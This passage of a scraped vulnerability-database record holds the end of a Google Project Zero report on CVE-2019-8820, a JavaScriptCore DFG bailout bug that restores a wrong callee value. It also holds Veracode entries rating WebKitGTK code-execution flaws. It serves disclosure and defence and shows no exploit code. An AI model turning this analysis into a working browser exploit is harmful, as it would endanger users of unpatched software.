ExitValid) \n38 4 0: 336:<!0:->\\tMovHint(Check:Untyped:@322, MustGen, loc32, W:SideState, ClobbersExit, bc#0, ExitValid) \n41 4 0: 339:< 1:->\\tSetLocal(Check:Untyped:@322, loc32(FE~/FlushedJSValue), W:Stack(-33), bc#0, ExitValid) predicting None \n \nNote that some bytecode registers (locX) are reused to hold different values in this code. \n \nThe DFGPhantomInsertionPhase is responsible for identifying bytecode registers (locX) that have to be recovered during a bailout and placing Phantom nodes into the IR to ensure the required DFG values are alive so the bytecode registers can be restored from them. When the DFGPhantomInsertionPhase phase runs on this code and wants to determine the values needed for a bailout somewhere at the start of the try block, it decides that loc32 would have to be restored as it is assigned above but still used further down (in the inlined code of isFinite). As such, it inserts a Phantom node. When the bailout then actually happens (presumably because the `new Function()` fails), loc32 is attempted to be restored (by then, CreateDirectArguments has been replaced by a PhantomCreateDirectArguments which doesn't actually create the arguments object unless a bailout happens), resulting in a call to operationCreateDirectArgumentsDuringExit. This call requires the value of `callee` as argument. As such, the callee value is reconstructed as well. In the inlined callframe, the callee value is expected to be stored in loc30 (I think). However, by the time the bailout happens, loc30 has been reused, in this case by storing the global object into it. As such, the code that recovers the values (incorrectly) restores the callee value to the global object and passes it to operationCreateDirectArgumentsDuringExit. When this reference is then stored into a WriteBarrier<JSFunction> during a call to setCallee, an assertion is raised in debug builds. It is not clear to me at which point a different decision should have been made here. \n \nUnfortunately, it is quite tedious to manually modify this sample as most changes to it will quickly break the specific bytecode register allocation outcome required to trigger the bug. I could imagine this bug to be exploitable if the invalid callee value is somehow subsequently accessed by code, e.g. user supplied code, the GC, or other parts of the engine that inspect bytecode registers, and assumed to be a JSFunction*. However, I have not verified that this is possible. \n \nThis bug is subject to a 90 day disclosure deadline. After 90 days elapse \nor a patch has been made broadly available (whichever is earlier), the bug \nreport will become visible to the public. \n \n \nRelated CVE Numbers: CVE-2019-8820. \n \n \n \nFound by: saelo@google.com \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/155112/GS20191105155225.txt"}], "veracode": [{"lastseen": "2022-07-26T16:26:16", "description": "webkitgtk4 is vulnerable to arbitrary code execution. The vulnerabiltiy exists through memory errors.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-10-01T03:52:59", "type": "veracode", "title": "Arbitrary Code Execution", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8821"], "modified": "2021-12-01T20:11:49", "id": "VERACODE:27429", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-27429/summary", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-26T13:30:05", "description": "webkitgtk is vulnerable to arbitrary code execution. The vulnerability exists through memory errors.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-10-01T03:52:57", "type": "veracode", "title": "Arbitrary Code Execution", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8814"], "modified": "2021-05-18T14:16:44", "id": "VERACODE:27424", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-27424/summary", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-07-26T16:26:12", "description": "webkitgtk4 is vulnerable to arbitrary code execution. The vulnerability exists through parsing web content that causes memory corruption.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-10-01T03:52:56", "type": "veracode", "title": "Arbitrary Code Execution", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8811"], "modified": "2021-12-01T20:11:45", "id": "VERACODE:27421", "href": "https://sca.analysiscenter.veracode.com/vulnerability-database/security/1/1/sid-27421/summary", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:

Apple iOS &lt; 13.2 Multiple Vulnerabilities

Description

Related

Apple iOS < 13.2 Multiple Vulnerabilities